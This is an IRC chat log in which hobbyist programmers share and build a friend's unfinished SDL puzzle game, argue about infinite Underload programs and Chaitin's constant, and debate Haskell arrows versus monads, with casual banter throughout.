21:55:07 <elliott> most of which are underneath where the boulder blocks stamp you.
21:55:13 <Vorpal> elliott, wait, is Galaxy \in World ?
21:55:16 <Vorpal> elliott, in this game
21:55:30 <elliott> Vorpal: Galaxy = level
21:55:38 <Vorpal> elliott, they are that large?
21:55:42 <elliott> Galaxy = usually composed of multiple small planets (that if close enough you can even jump between)
21:55:44 <Phantom_Hoover> THIS is the guy who saw to the evisceration of "subjective" tropes, THIS is the guy who gave CMoA a stupid title for no good reason.
21:55:47 <elliott> But often just regular levels
21:55:52 <elliott> Vorpal: No :P
21:55:56 <Vorpal> elliott, what a bad naming :P
21:56:53 <elliott> Phantom_Hoover: [[Ptitles that don't have a redirect will still be serviced. The new system doesn't really care about the replaced item. It's arbitrary. If we tell it to say 'Morton's Left Foot' when it sees 'ptitle098765', that's what it does. Same deal if we tell it to say 'Morton's Left Foot' when it sees 'MortonsLeftFoot.']]
21:56:55 <Phantom_Hoover> elliott, look at that picture.
21:56:58 <elliott> I don't think punctuated titles are actually going away
21:57:00 <Phantom_Hoover> It's horrible.
21:57:05 <elliott> What picture?
21:57:16 <Phantom_Hoover> The one to which I linked
21:58:50 -!- Lymia has quit (Changing host).
21:58:50 -!- Lymia has joined.
21:58:52 <elliott> ais523: so are there more dna maze levels since i got it?
21:59:02 <ais523> no, I've been working on other things
21:59:18 <elliott> ah
21:59:32 <ais523> the thing is, my rule for creating levels towards the end is "the most difficult level I can complete after practicing on the others"
21:59:35 <elliott> ais523: hmm, have you still got a copy of the source? I've lost mine
21:59:41 <ais523> which means I need to be in practice
21:59:46 <ais523> do you need the level files too? or just the source?
22:00:18 <ais523> hmm, I have several copies
22:00:30 <ais523> including some files named dnamaze5_ehird (a .tar and a .zip)
22:00:33 <ais523> but I can't remember which is which any more
22:00:57 <Vorpal> Phantom_Hoover, what are "punctuated titles"?
22:01:04 <ais523> Vorpal: titles containing punctuation
22:01:15 <elliott> ais523: both, actually; _ehird is where I made it build properly on OS X, I think
22:01:19 <Vorpal> ais523, oh... really?
22:01:24 <elliott> and made using both production and debug build easier
22:01:28 <elliott> (separate config file names)
22:01:28 <Vorpal> in this context?
22:01:36 <Vorpal> ais523, the context seems to be tvtropes
22:01:44 <ais523> elliott: that's probably patched_from_ehird
22:01:57 <ais523> Vorpal: yes, in that context
22:02:04 <ais523> tvtropes used to mangle the URLs when that happened
22:02:22 <Vorpal> ais523, and they will be dead it says
22:02:49 <ais523> yep, they're changing the mangling
22:02:59 <elliott> ais523: hmm, then i have no idea
22:03:16 <pikhq> Mmkay, I think I may have gotten my damned-annoying "Lawl, let's drop connections" behavior fixed-ish.
22:03:18 <ais523> this is why I like atimes
22:03:34 <ais523> they're almost indispensable from working out which version is which when you have a bunch of tarballs
22:04:22 -!- nescience has quit (Quit: -a-).
22:04:27 <elliott> ais523: err, howso?
22:04:30 <pikhq> Seems that somewhere in the path, saturating upload link length could cause buffers to get too large, causing latency and packet drops to go up.
22:04:36 <pikhq> Get enough ACKs dropped, and voila.
22:04:51 <ais523> elliott: because old backups tend to have older atimes
22:04:54 * pikhq hopes that does it.
22:05:00 <elliott> ais523: and older mtimes
22:05:02 <elliott> so?
22:05:02 <ais523> recently used files can have old mtimes
22:05:07 <elliott> and?
22:05:16 <elliott> that has nothing to do with the age of a backup
22:05:44 <ais523> yep, but recently used identifies what's most relevant, most usually
22:06:13 <ais523> thus, this is how I can tell that patched_from_ehird is indeed the version you sent me
22:06:15 <ais523> shall I send it back?
22:06:24 <ais523> and if so, how? email? (filebin.ca is down)
22:06:58 <elliott> ais523: argh, i wish filebin.ca wasn't down
22:07:12 <elliott> ais523: email would be fine, but since I'm not on OS X, I'd prefer your stock version
22:07:20 <ais523> pastebin.ca and all its friends seem to be down permanently
22:07:41 <ais523> and in that case, I just have to figure out which of these tarballs it should be
22:07:44 <ais523> or whether I should make a new one
22:07:57 <elliott> ais523: slepp.ca is the person behind them
22:08:00 <elliott> blog.slepp.ca
22:08:06 <elliott> it seems to be down too, but I doubt that is permanent
22:08:13 <elliott> you could try and contact him; he has a wikipedia account
22:08:25 <elliott> also http://twitter.com/slepp
22:08:37 <elliott> nothing about the sites, it seems
22:08:51 <Vorpal> how long has filebin been down?
22:08:54 <Vorpal> seems quite long now
22:08:57 <elliott> ages
22:09:26 <Vorpal> elliott, omploader does accept non-image data iirc
22:09:38 <Vorpal> elliott, not intended usage
22:09:40 <Vorpal> but would work
22:09:52 <elliott> omploader is public
22:09:54 <elliott> it lists all uploads
22:10:42 <Vorpal> elliott, is that bad here?
22:10:56 <elliott> well, last time ais523 gave me DNA Maze it was under an NDA :-P
22:11:15 <ais523> still is, I suppose, because I haven't figured out what to do with it yet
22:11:38 <elliott> SELL IT FOR TENS OF POUNDS
22:11:48 <ais523> heh
22:12:10 <ais523> there have been not even bugfixes since last time I sent it to you two, anyway
22:12:17 <ais523> not even the crash if you click on the title screen rather than pressing a key
22:12:23 <ais523> (it does say "press a key", though, doesn't it?)
22:12:42 <elliott> you never sent it to Vorpal!
22:12:47 <elliott> you granted me exclusive permission to send it to Vorpal
22:13:23 <elliott> ais523: anywho, you can just email penguinofthegods@gmail.com with the stock version as an attachment... might go into my spam folder though
22:13:30 <elliott> although, i guess unlikely
22:13:36 <Vorpal> oh dna maze
22:13:38 <elliott> since i have plenty of emails for you in this account
22:13:38 <Vorpal> right...
22:13:46 <elliott> Vorpal: Too FAST for you?
22:13:49 <Vorpal> ais523, I found that game incredibly hard
22:13:51 <Vorpal> elliott, yes
22:13:56 <elliott> It _is_ incredibly hard
22:14:08 <ais523> Vorpal: it is pretty hard, yes
22:14:17 <Vorpal> elliott, it isn't a rougelike. It isn't Nintendo. What is the excuse?
22:14:21 <ais523> level 10 (well, 4-1...) was originally level 1, but I moved it due to being too hard
22:14:33 <Vorpal> ais523, I never finished level 1 even
22:14:37 <elliott> i finished like
22:14:37 <ais523> Vorpal: because in that sort of puzzle game, you want them to be difficult
22:14:40 <elliott> two levels
22:14:40 <elliott> ever
22:14:52 <ais523> if you can't do level 1-1, though, I feel for you, it's massively easy
22:14:59 <ais523> if you follow the right path, you can't die no matter what the timings are
22:15:07 <Vorpal> ais523, I try to remember if it was turn based or not
22:15:12 <ais523> also, remember it's a puzzle game rather than a simple platformer, you're supposed to have to think
22:15:23 <ais523> and it sort-of is, except you get 11 turns per second at a fixed rate
22:15:38 <Vorpal> ais523, ah yes, that speed was what made it hard
22:15:42 -!- pikhq_ has joined.
22:15:51 -!- pikhq has quit (Ping timeout: 250 seconds).
22:16:27 <elliott> ais523: you should add terrible music!
22:16:28 <ais523> Vorpal: note that I did the first 30 or 40 or so levels when the game had a bug which meant that pressed keys had about a 50% chance to be ignored
22:16:36 <ais523> elliott: there was terrible music once
22:16:36 <elliott> hahaha
22:16:40 <elliott> ais523: BRING IT BACK
22:16:42 <ais523> but it got lost when it was ported to Windows
22:17:03 <ais523> that game's been ported so many times
22:17:05 <elliott> you need to port it to VMS or something, and date the files to before the first version
22:17:13 <elliott> and eventually go back all the way to original unix, comment it
22:17:23 <elliott> /* spacewars is getting boring, let's try this instead -ais*/
22:17:28 <elliott> BEST FAKE HISTORY EVER
22:17:56 <Vorpal> <ais523> Vorpal: note that I did the first 30 or 40 or so levels when the game had a bug which meant that pressed keys had about a 50% chance to be ignored <-- XD
22:18:06 <ais523> Vorpal: I admit that the game is hard
22:18:11 <ais523> I refuse to admit that level 1-1 is hard, though
22:18:25 <ais523> there's basically nothing that can kill you, but walls
22:18:38 <ais523> and they're far apart enough that if you just stay in the centre of the path, you never hit them
22:18:40 <Vorpal> ais523, wait, other levels got other stuff that could kill you?
22:18:46 <Vorpal> ais523, also the game is simply too fast for me
22:18:49 <Phantom_Hoover> ais523, what's this DNA maze thing?
22:19:01 <ais523> Phantom_Hoover: a computer game, that I have spent years writing on and off and still not finished
22:19:10 <pikhq_> Nope, definitely didn't fix anything.
22:19:14 <ais523> it requires more thought than Vorpal seems to be capable of
22:19:19 <ais523> and also timing
22:19:20 <Phantom_Hoover> I have another day of wilderness before I get a steady connection; I need something to do.
22:19:24 <elliott> `addquote [on DNA Maze] <ais523> it requires more thought than Vorpal seems to be capable of
22:19:25 <pikhq_> From this I can conclude this router just sucks ass.
22:19:27 <ais523> Vorpal: there's even the timing bar at the bottom of the screen nowadays
22:19:30 <Vorpal> ais523, I'm perfectly able to see how to solve it
22:19:35 <Vorpal> ais523, oh that is new then
22:19:38 <ais523> well, in that case level 1 should be trivial
22:19:39 <elliott> never let facts get in the way of a good Vorpal-bashing
22:19:40 <elliott> Vorpal: no, that's not new
22:19:44 <elliott> it's always been there
22:19:46 <ais523> and that was in the version you saw
22:19:47 <Phantom_Hoover> I've already played through every FreeSpace 2 campaign I have!
22:19:51 <Vorpal> ais523, hm
22:19:55 <Phantom_Hoover> LIIIINNNKKK
22:19:57 <ais523> it's recent relative to DNA Maze history, but older than any version shown to people here
22:20:01 <Vorpal> Phantom_Hoover, play df
22:20:03 <elliott> ais523: Cc dna maze to PH or something :-P
22:20:08 <Vorpal> df is easy compared to dna maze
22:20:12 <elliott> ...
22:20:13 <Vorpal> yes I stand by that statement
22:20:20 <ais523> well, it's impossible to win either...
22:20:20 <elliott> For some definition of "easy" equal to "not easy".
22:20:23 <Phantom_Hoover> Let me be the judge of that!
22:20:25 <HackEgo> 314) [on DNA Maze] <ais523> it requires more thought than Vorpal seems to be capable of
22:20:25 <oerjan> ais523: new section on minimization on the wiki Underload page. Note: don't read if you still want to puzzle out how to write ~
22:20:32 * elliott HITS F5 WILDLY ON GMAIL
22:20:39 <Vorpal> also that quote was nasty
22:20:46 <ais523> (DF because it doesn't have a victory condition, DNA Maze because it's unfinished and past a certain point the levels aren't made yet and thus are actually impossible)
22:20:49 <Vorpal> elliott, why didn't you play df now again?
22:20:53 <elliott> don't be silly, ais523 is the nicest person ever, how could he be nasty?
22:21:01 <elliott> I don't play DF because I haven't yet summoned the attention span
22:21:07 <Phantom_Hoover> LITTLE KNOWN FACT: all of my subjective opinions are objectively true.
22:21:07 <ais523> I'm trying to figure out which files should be in the tarball atm
22:21:22 <Phantom_Hoover> Erm, *normally-subjective
22:21:35 <Vorpal> elliott, as if that would ever happen
22:21:43 <Phantom_Hoover> ais523, :(
22:21:49 <elliott> ais523: don't you already have a tarball? the one you sent to me?
22:22:16 <elliott> oerjan: do the 2,3 TM in underload next :D
22:23:06 <ais523> elliott: yes, but I can't figure out which it is
22:23:07 <oerjan> bah, that's trivial ;)
22:23:24 <elliott> ais523: one not with ehird in it, ending in .tar?
22:23:29 <elliott> how many tarballs can there be?
22:23:42 <ais523> you'd be surprised
22:23:51 <ais523> oerjan: indeed it is
22:23:58 <ais523> generating its initial condition in underload might be more interesting
22:24:02 <ais523> I'm working on a 1cnis program atm to generate it
22:24:17 <elliott> I wish I put leaden up somewhere >_<
22:24:20 <ais523> Phantom_Hoover: what's your email?
22:24:33 <ais523> PM me if you don't want it to be logged
22:24:36 <elliott> phantom_hoover@hoover.tom+phan
22:24:41 <Phantom_Hoover> ais523, my nick with all punctuation including caps stripped @gmail.com.
22:24:57 <elliott> Phantom_Hoover: oh, so hantomoover@gmail.com? ;)
22:25:08 <elliott> The moover of Hantos.
22:25:16 <Phantom_Hoover> Yeah, duh.
22:25:31 <elliott> Phantom_Hoover: Erm, the p and the h are actually in there, right?
22:25:35 <elliott> BEWARE OF AIS523'S LITERAL MIND
22:25:40 <Phantom_Hoover> Yes, they are.
22:25:45 <ais523> OK, sent
22:25:56 <Phantom_Hoover> Why's it secret?
22:25:57 <ais523> elliott: Phantom_Hoover obviously sees capitalisation as a combining character
22:25:59 * elliott f5 f5 f5 f5 f5 f5 f5 f5 f5
22:26:04 <oerjan> the hantos never knew what hit them
22:26:04 <Phantom_Hoover> ais523, duh!
22:26:21 <elliott> ais523: tarbomb!
22:26:25 <elliott> scum!
22:26:25 <ais523> err, sorry
22:26:29 <elliott> GET THE PITCHFORKS
22:26:37 * elliott mkdir dnamaze5
22:26:38 <ais523> I wasn't paying attention when I made it
22:26:56 <ais523> (also, because I was trying to tarball up only half or so of a directory, and it's hard to get it to not make tarbombs when you do that)
22:26:56 * elliott installs libraries
22:27:05 <ais523> let me know if I've missed any files
22:27:22 <elliott> dnamaze5.c:237: warning: ‘YellowKeyAccum’ defined but not used
22:27:24 <elliott> poor yellowkey
22:27:45 <elliott> ais523: yep, it works
22:27:55 * elliott decides not to enable debug mode for now
22:28:00 <Phantom_Hoover> ais523, doesn't compile because... I don't have the SDL dev libraries.
22:28:05 <ais523> then install them?
22:28:05 <elliott> So install them.
22:28:15 <Phantom_Hoover> Duh.
22:28:38 <ais523> DNA Maze used to have a 2-player mode back in version 2
22:28:41 * elliott crashes on 1-1
22:28:42 <elliott> yay!
22:28:46 <ais523> but it isn't implemented in that port
22:29:01 <Phantom_Hoover> FFS, there doesn't seem to be a package for libsdl*-dev.
22:29:23 <elliott> yay, did it
22:29:25 <elliott> 1:13.3
22:29:25 <ais523> Phantom_Hoover: which OS?
22:29:26 <elliott> because i suck
22:29:33 <elliott> Phantom_Hoover: libsdl-image1.2-dev, etc.
22:29:43 <elliott> honestly, learn to use "aptitude search"...
22:30:00 <Phantom_Hoover> Yes, I know, but typing them manually?
22:30:10 <elliott> 21.7 for 1-2
22:30:15 <elliott> Phantom_Hoover: OH NOES
22:30:16 <elliott> TYPING
22:30:33 <Phantom_Hoover> elliott, yes, because I have to leave civilisation very soon.
22:30:34 <ais523> 34.9's my record on 1-1; 27.1's the theoretical minimum (found by a brute-force search)
22:30:44 <ais523> Phantom_Hoover: tab-complete them?
22:30:47 <elliott> 37.2 is the target
22:31:06 <ais523> most of the levels don't have targets
22:31:12 <ais523> as IIRC they're theoretical minimum + a percentage
22:31:30 <ais523> and most of the minimums haven't been brute-forced
22:31:50 <elliott> Are you sure there's no better algorithm than brute-force? :P
22:32:01 <ais523> no, in fact there are better algorithms than brute-force
22:32:04 <ais523> I just haven't written them
22:32:14 <ais523> A* is the obvious one
22:32:15 <elliott> heh
22:32:16 <elliott> Phantom_Hoover: is it working?
22:32:23 <elliott> ais523: is A* always optimal, though?
22:32:26 <elliott> i guess so
22:32:27 <ais523> yep
22:32:30 <Phantom_Hoover> Yes, it is.
22:32:35 <ais523> as long as your estimator obeys the right rules
22:32:44 <elliott> Phantom_Hoover: Enjoy pain.
22:32:57 <ais523> hey, it's not that bad early
22:33:09 <ais523> what's annoying me at the moment is its jumping to 1024x768 resolution
22:33:11 <elliott> Phantom_Hoover: If you stub out QuarterPercentCompletion with return ...I forget, some value, you can access all the levels
22:33:24 <ais523> 392, IIRC
22:33:27 <elliott> ignore ais523's insane naming scheme
22:33:30 <elliott> erm
22:33:32 <elliott> indentation scheme
22:33:38 <elliott> aso, wtf does "//tk:" stand for?
22:33:45 <ais523> it's my equivalent of TODO
22:33:49 <ais523> it doesn't really stand for anything
22:33:51 <elliott> heh
22:33:53 <ais523> the slashes are required, though
22:33:57 <ais523> even in other commenting syntaxes
22:34:11 <ais523> so you get, say, /* //tk: */ in C89
22:34:18 * elliott decides that ais523 is vaguely insane.
22:34:37 <Phantom_Hoover> I suck at it, but that doesn't really matter.
22:34:45 <Phantom_Hoover> Does it actually do any DNA-y things?
22:34:46 <elliott> Phantom_Hoover: He says, after five seconds of playing.
22:34:51 <elliott> Yes, IIRC, ask ais523
22:34:59 <elliott> ais523: you're using DOUBLES! that's SLOW!
22:35:19 <ais523> Phantom_Hoover: the rule is that letting A touch T or G touch C, unless they're part of the level itself, is an instant loss
22:35:22 <elliott> /* //tk: set the 399 to 360 when level 100 is working correctly */
22:35:24 <ais523> where "touch" means "adjacent"
22:35:27 <elliott> so yes, 399 is the correct return, I think
22:35:30 <elliott> Phantom_Hoover: ^
22:35:35 <Phantom_Hoover> Oh, right.
22:35:38 <elliott> note that using that will mess up your save file, I think
22:35:39 <ais523> elliott: no, it has to be lower than the value there
22:35:42 <elliott> ah
22:35:59 <elliott> Phantom_Hoover: tl;dr stub out QuarterPercentCompletion to return 392 and backup your save to view all levels
22:36:15 <ais523> 399's the unlock percentage (well, 1/400age) for level 100 because it doesn't work properly atm
22:36:24 <ais523> I plan to make it larger than other levels are
22:36:44 * Phantom_Hoover → middle of nowhere.
22:36:48 -!- Phantom_Hoover has quit (Remote host closed the connection).
22:36:48 <elliott> Phantom_Hoover: ENJOY DNA MAZE
22:36:51 <elliott> heh
22:37:05 <elliott> ais523: can I just say that your indentation style for DNA Maze is impressively repulsive
22:37:16 <elliott> although, I propose that you put a space after function names in future, just to make it even worse
22:37:19 <elliott> (but not after control structures)
22:37:29 <ais523> elliott: it's designed to offend everyone equally
22:37:34 <ais523> also, it's quite easy to get used to after a bit
22:38:21 <Gregor> Wots all this then?
22:38:35 <elliott> Gregor: DNA Maze
22:38:45 <elliott> a VERY SECRET GAME that you've heard NOTHING ABOUT
22:38:51 <Gregor> *sobblecopter*
22:39:03 <ais523> it's an unfinished computer game I've been working on on and off for ages
22:39:26 <elliott> ais523: btw, theoretical opinion: are there valid infinite Underload programs?
22:39:45 <elliott> ais523: (I strongly suggest "no"; if there are, then there is a program which prints out Chaitin's constant, which is just /wrong/, because the language is then super-Turing)
22:39:56 <ais523> there's no reason you couldn't execute one if you had a method of knowing what it was
22:40:22 <elliott> ais523: "theoretical" opinion, not practical
22:40:31 <elliott> does the set of Underload programs include any infinite elements?
22:40:31 <ais523> I'm not entirely sure I understand the question
22:40:50 <ais523> and I'm not sure why yes would imply that you could print Chaitin's constant
22:41:07 <ais523> without the ability to execute an infinite number of programs in parallel in finite time
22:41:13 <elliott> ais523: obvious 1: Chaitin's constant has a binary representation
22:41:16 <elliott> ergo,
22:41:22 <elliott> (digit 1)S(digit 2)S(digit 3)S...
22:41:43 <ais523> elliott: surely, infinitely long programs in any other lang would have the same problem
22:41:45 <elliott> if the set of Underload programs includes infinite programs, then this is an Underload program that prints Chaitin's constant
22:41:47 <elliott> ais523: of course
22:41:52 <elliott> which is why they're not considered to exist
22:41:57 <ais523> cat is superturing by the same definition
22:42:04 <elliott> no it's not
22:42:19 <ais523> just like, say, tm32 is Turing-complete because it can run a TC program on "sub-Turing input"
22:42:20 <elliott> because it isn't really a language
22:42:28 <ais523> Text, then, which is
22:42:33 <ais523> (and is interpreted by cat)
22:42:34 <elliott> ais523: err, isn't that a position you _hold_? :P
22:42:44 <ais523> elliott: ?
22:42:50 <elliott> <ais523> just like, say, tm32 is Turing-complete because it can run a TC program on "sub-Turing input"
22:43:03 <ais523> well, I mean, giving an arbitrary language super-Turing input can produce super-Turing output
22:43:11 <ais523> even if the lang itself is just an FSM
22:43:23 <ais523> the difficulty is defining what it means for a string to have a computational class
22:43:25 <elliott> well
22:43:30 <elliott> I guess so
22:43:39 <elliott> [[In Invertible Syntax Descriptions: Unifying Parsing and Pretty Printing, Rendel Tillmann and Klaus Ostermann at the University of Marburg, Germany apply the "don't repeat yourself" principle to parsers and pretty printers.]]
22:43:42 <ais523> but I think most langs become super-Turing if given Chaitin's constant as an input
22:43:43 <elliott> hey, I know that doesn't work!
22:43:47 <elliott> clearly they are stupid :-P
22:44:02 <ais523> just like they become super-Turing if given a halting oracle
22:44:24 <ais523> elliott: unparsing a parse tree into a program?
22:44:35 <ais523> it isn't obviously impossible that you couldn't write a program that goes both ways
22:44:36 <elliott> ais523: == pretty printing
22:44:40 <elliott> ais523: no shit
22:44:46 <elliott> the point is that you can't give them both the same definition
22:44:50 <ais523> well, it depends on how pretty you want your output to be
22:44:50 <elliott> because IIRC you're limited to applicative
22:44:52 <elliott> or something
22:44:54 <elliott> rather than monads
22:45:00 <ais523> it might even work in Python
22:45:01 <elliott> there's some limitation, anyway, that seriously restricts what you can parse that way
22:45:05 <elliott> ais523: YOU ARE BEING VORPAL
22:45:10 <ais523> elliott: heh
22:45:19 <ais523> my joke was that for any Python parse tree, there's only one source that produces it
22:45:24 <ais523> which is not quite true, but close
22:45:26 <elliott> ais523: I am talking about a theoretical point and you are saying "well of course you can hack up a python program to do both those things" which is /not/ the point
22:45:29 <elliott> oh, I wrote that before you mentioned python
22:46:02 <ais523> mentioning python makes me not vorpal?
22:46:09 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
22:46:09 <elliott> no
22:46:11 <Vorpal> <ais523> it might even work in Python <-- or lisps
22:46:13 <elliott> it leaves your vorpalness unchanged
22:46:14 <Vorpal> well some at least
22:46:19 <ais523> Vorpal: but then it wouldn't indent properly
22:46:29 * elliott eviscerates Vorpal
22:46:29 <ais523> elliott: I don't see why parsing has to be implemented monad-based
22:46:31 <Vorpal> ais523, hm...
22:46:41 <Vorpal> elliott, what
22:46:55 <Vorpal> elliott, also I wouldn't have checked back unless you had highlighted me
22:47:10 * Mathnerd314 is reminded that he wanted to write a go parser using arrows
22:47:15 <elliott> ais523: it was a combination of two theoretical results, (1) combinator parsers that are only Xs and not Ys cannot parse Z (where Z includes things like most programming languages, I think); (2) two-way parsers are not Ys, only Xs
22:48:12 <ais523> elliott: that result might not prevent the idea of a two-way parser, though
22:48:15 <Mathnerd314> (arrows are simultaneously more and less powerful than monads, so they rock for... everything)
22:48:28 <elliott> ais523: what do you mean?
22:48:33 <ais523> because of a mismatch on assumptions
22:48:33 <elliott> Mathnerd314: that doesn't even make any sense
22:48:39 <oerjan> <elliott> does the set of Underload programs include any infinite elements? <-- well, ((x)~a*^:^):^ is computationally indistinguishable from xxxxxxx...
22:48:51 <elliott> oerjan: yes, but you can only construct _computable_ programs that way
22:48:55 <elliott> which is what stops Chaitin
22:49:15 <ais523> elliott: I'm inclined to say that infinite Underload programs can exist, but must be computable
22:49:44 <Mathnerd314> elliott: the type is more general, so you can restrict it to something less powerful than a monad, or use Kleisli arrows, or use something with lots of extra arrow operations that's more powerful than a monad
22:50:00 <elliott> Mathnerd314: the type of what?
22:50:12 <Mathnerd314> of arrows
22:50:13 <ais523> Mathnerd314: does this have anything to do with monads and arrows from category theory?
22:50:18 <elliott> arrows have no type
22:50:22 <Mathnerd314> ais523: yeah.
22:50:23 <elliott> that doesn't make any sense
22:50:29 <elliott> every arrow has a certain kind, yes
22:50:31 <elliott> (* -> * -> *)
22:50:32 -!- pikhq has joined.
22:50:38 <elliott> but arrows are types, they don't have types, so hat are you talking about?
22:50:46 <ais523> hmm, the Haskell concept seems quite different from the category-theoretical concept
22:50:51 <elliott> ais523: it isn't
22:50:54 -!- pikhq_ has quit (Ping timeout: 264 seconds).
22:50:55 <ais523> perhaps
22:51:03 <ais523> but then, Haskell monad != category monad in terms of what you use them for
22:51:14 <elliott> ais523: not if you're edward kmett
22:51:16 <ais523> most programming languages form categories in which arrows correspond to functions, and monads to types
22:51:29 <elliott> he does things in the Hask category :-D
22:51:33 <ais523> haha
22:51:47 <elliott> ais523: not even joking, he has a Hask type
22:51:50 <elliott> I forget its definition
22:52:01 <Mathnerd314> Hask = (->)
22:52:09 <Mathnerd314> (IIRC)
22:52:24 <elliott> ah, (->)
22:52:25 <elliott> yeah
22:52:27 <elliott> just looked it up now
22:52:31 <elliott> "Make it clearer when we are dealing with the category (->) that we mean the category of haskell types via its Hom bifunctor (->)
22:52:31 <elliott> "
22:52:32 <elliott> MUCH CLEARER
22:53:18 <elliott> Where did the pygtk documentation get to...
22:54:16 <Mathnerd314> hmm, maybe type should have been plural, since I was talking about the types that can be given Arrow instances
22:55:00 <Mathnerd314> and, viewed that way, arrows are always more powerful than monads
22:55:16 <Mathnerd314> (except for do-notation sometimes)
22:55:30 <elliott> Mathnerd314: how are you defining powerful
22:55:34 <elliott> apart from vaguely
22:56:11 <Mathnerd314> elliott: number of instances. every monad is an arrow, but not vice-versa.
22:56:24 <elliott> Mathnerd314: so? every monad is a
22:56:27 <elliott> class Nothing a where {}
22:56:31 <elliott> Mathnerd314: does that make Nothings more powerful than monads?
22:56:36 <elliott> let's use Nothings instead of Monads for everything!!
22:57:17 <Mathnerd314> well, that's the point... you can't use Nothings for useful programs. but you can use Arrows instead of Monads for everything!
22:57:26 <elliott> that's not even vaguely true!
22:57:32 <elliott> you can't use arrows for the things that only monads can do, not every arrow
22:57:34 <elliott> by definition
22:57:39 <elliott> that's why the concept of "monad" still exists!
22:57:45 <elliott> there's nothing wrong with monads.
22:58:13 <Mathnerd314> monads are arrows with an instance of the ArrowApply class. pretty simple.
22:58:34 <elliott> Mathnerd314: *monads are arrows with an instance of the Monad class.
22:58:48 <elliott> what you're saying is, "you can use arrows that are monads for everything you can use monads for"
22:58:49 <elliott> no shit?
22:59:34 <Mathnerd314> hmm... but you can generalize programs using ArrowApply to programs using less-powerful features more easily than you can programs using monads
23:00:17 <elliott> Mathnerd314: all you're saying is that the Monad class in Haskell should have Arrow as a superclass somewhere in the chain
23:00:23 <elliott> similarly, it should have Functor above it.
23:00:24 <elliott> sure.
23:00:28 <elliott> but that doesn't mean arrows are better than monads.
23:00:35 <elliott> it just means that haskell's definition of monad is imperfect.
23:00:47 <elliott> Use {-# LANGUAGE NoImplicitPrelude #-}, define your own hierarchy
23:01:20 <Mathnerd314> Arrow has a completely different kind. Monad a is an arrow of type () ~> a
23:01:51 <elliott> Mathnerd314: instance Arrow (mm () a) => Monadd mm
23:01:52 <elliott> or something
23:02:46 <elliott> argh, where is the bloody gtksourceview2 documentation
23:02:57 <Mathnerd314> it would be instance Arrow mm => Monad (mm ())
23:03:21 <elliott> Mathnerd314: oh, of course
23:03:29 <elliott> Mathnerd314: well.
23:03:32 <elliott> I think you can do something like
23:03:48 <elliott> class (Arrow a, m ~ a ()) => Monad m
23:03:49 <elliott> maybe
23:03:49 <elliott> not sure
23:04:30 <Mathnerd314> still waiting for "Haskell Type Constraints Unleashed!" to get into GHC...
23:04:38 -!- oerjan has quit (*.net *.split).
23:04:38 -!- pingveno has quit (*.net *.split).
23:04:38 -!- fungot has quit (*.net *.split).
23:05:14 -!- oerjan has joined.
23:05:14 -!- pingveno has joined.
23:07:07 <Mathnerd314> (that would allow backwards-compatible class refactoring)
23:07:38 <elliott> who cares about back-compat :P
23:08:14 <Mathnerd314> ... everyone except you, apparently
23:08:47 <olsner> backward-compat is boring, just recompile/rewrite everything
23:09:02 <olsner> so it becomes as new and shiny as its dependencies
23:09:24 <elliott> Mathnerd314: you can't go all "monads suck everyone use arrows!" and then claim to care about backwards-compatibility
23:09:56 <Mathnerd314> but it is backwards-compatible... you can use everything in monad-land pretty easily as an arrow
23:11:09 -!- pikhq_ has joined.
23:11:13 <elliott> bleh, how do you do generic icons in pygtk again...
23:11:38 -!- pikhq has quit (Ping timeout: 260 seconds).
23:17:39 -!- Wamanuz3 has joined.
23:19:04 <oerjan> i sense a duality here - the concept of Arrow is more powerful than Monad because it applies to more instances, while each individual Monad is more powerful than if it were just an Arrow.
23:19:29 <oerjan> same kind of reversal of order as in some other kinds of duality
23:19:52 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:21:29 -!- Wamanuz2 has quit (Ping timeout: 246 seconds).
23:23:06 <elliott> oerjan: well that's pretty much the definition of a hierarchy
23:23:12 <elliott> things further down the hierarchy are more detailed, but equally or less numerous
23:23:25 <elliott> we define powerful = more detailed
23:23:28 <elliott> and general = numerous
23:23:33 <elliott> ergo, more powerful = less general
23:23:47 <elliott> but then some people think general = powerful
23:23:49 <elliott> because it applies to more things
23:23:52 <elliott> so more powerful = less powerful
23:25:36 -!- pikhq has joined.
23:25:41 -!- pikhq_ has quit (Ping timeout: 246 seconds).
23:33:26 -!- iconmaster has left (?).
23:37:06 -!- zzo38 has joined.
23:41:34 -!- sftp has quit (Remote host closed the connection).
23:42:23 -!- cheater00 has joined.
23:42:28 -!- sftp has joined.
23:42:49 -!- augur has quit (Remote host closed the connection).
23:43:24 <Sgeo> What must O'Brien do?
23:43:33 <Sgeo> *O'Brian?
23:43:44 <Sgeo> O'Brien
23:43:52 <Sgeo> And damn spoilery YouTube comments
23:43:54 <pikhq> Be Irish.
23:44:11 <elliott> pikhq: wut
23:45:17 -!- cheater- has quit (Ping timeout: 240 seconds).
23:45:21 <Sgeo> Or, that spoiler was not spoilery as what it's referring to is revealed in less than 2 minutes
23:53:58 * pikhq loves living in the future.
23:54:42 <pikhq> Disease eradication. Fuck yeah.
23:55:58 -!- elliott has quit (Remote host closed the connection).
23:56:30 -!- elliott has joined.
23:56:34 -!- elliott has quit (Changing host).
23:56:34 -!- elliott has joined.
23:56:35 <elliott> Oh god
23:56:37 <elliott> Vorpal
23:56:41 <elliott> My Ubuntu mirror is Umea university
23:56:43 <elliott> Should I be scared?
23:57:10 <pikhq> elliott: Are you a disease that in some way affects humanity?
23:57:15 <elliott> Yes.
23:57:22 <pikhq> Then you should be fucking terrified.
23:58:53 <oerjan> Umeå is a scary place indeed
23:59:47 <oerjan> (It used to be our final stop whenever we took a holiday trip to Sweden. The only thing I remember is its harbor.)
2011-02-19
00:00:12 <elliott> oerjan: The rest has been blocked out by your mind for your own safety?
00:01:23 <oerjan> PROBABLY
00:01:23 -!- FireFly has quit (Quit: swatted to death).
00:01:54 <oerjan> i have somewhat more vague memories of Lycksele Djurpark.
00:02:28 <oerjan> ->
00:08:03 -!- Mannerisky has joined.
00:10:11 <Ilari> Hmm... I should try implementing the new SHA-512/224 and SHA-512/256. :-)
00:10:35 <elliott> They're not new.
00:13:29 <Ilari> Well, so new I haven't even got my hands on the specifications yet.
00:13:47 <elliott> lol
00:13:56 <elliott> Ilari: sha-2 came out in 2001
00:14:03 <elliott> hardly new
00:15:47 <Ilari> elliott: You are probably confusing those hashes with SHA-224 and SHA-256.
00:15:53 <elliott> Oh, I misparsed.
00:16:06 <elliott> Ilari: Well, SHA-256 is part of SHA-2.
00:16:09 <Ilari> Oh, and SHA-512.
